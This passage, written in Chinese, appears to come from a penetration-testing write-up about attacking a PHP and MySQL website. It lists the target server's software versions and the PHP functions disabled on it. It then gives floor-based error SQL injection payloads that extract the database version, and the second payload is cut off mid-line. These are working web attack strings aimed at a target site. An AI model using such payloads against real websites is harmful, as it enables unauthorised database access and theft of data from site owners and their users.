目标站点环境:
Windows Server 2008 R2 x64
PHP Version 5.4.31
MySQL Server 5.5
开启安全模式禁用一些函数:disable_functions,exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,chmod,escapeshell
1、通过floor报错
可以通过如下一些利用代码
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 un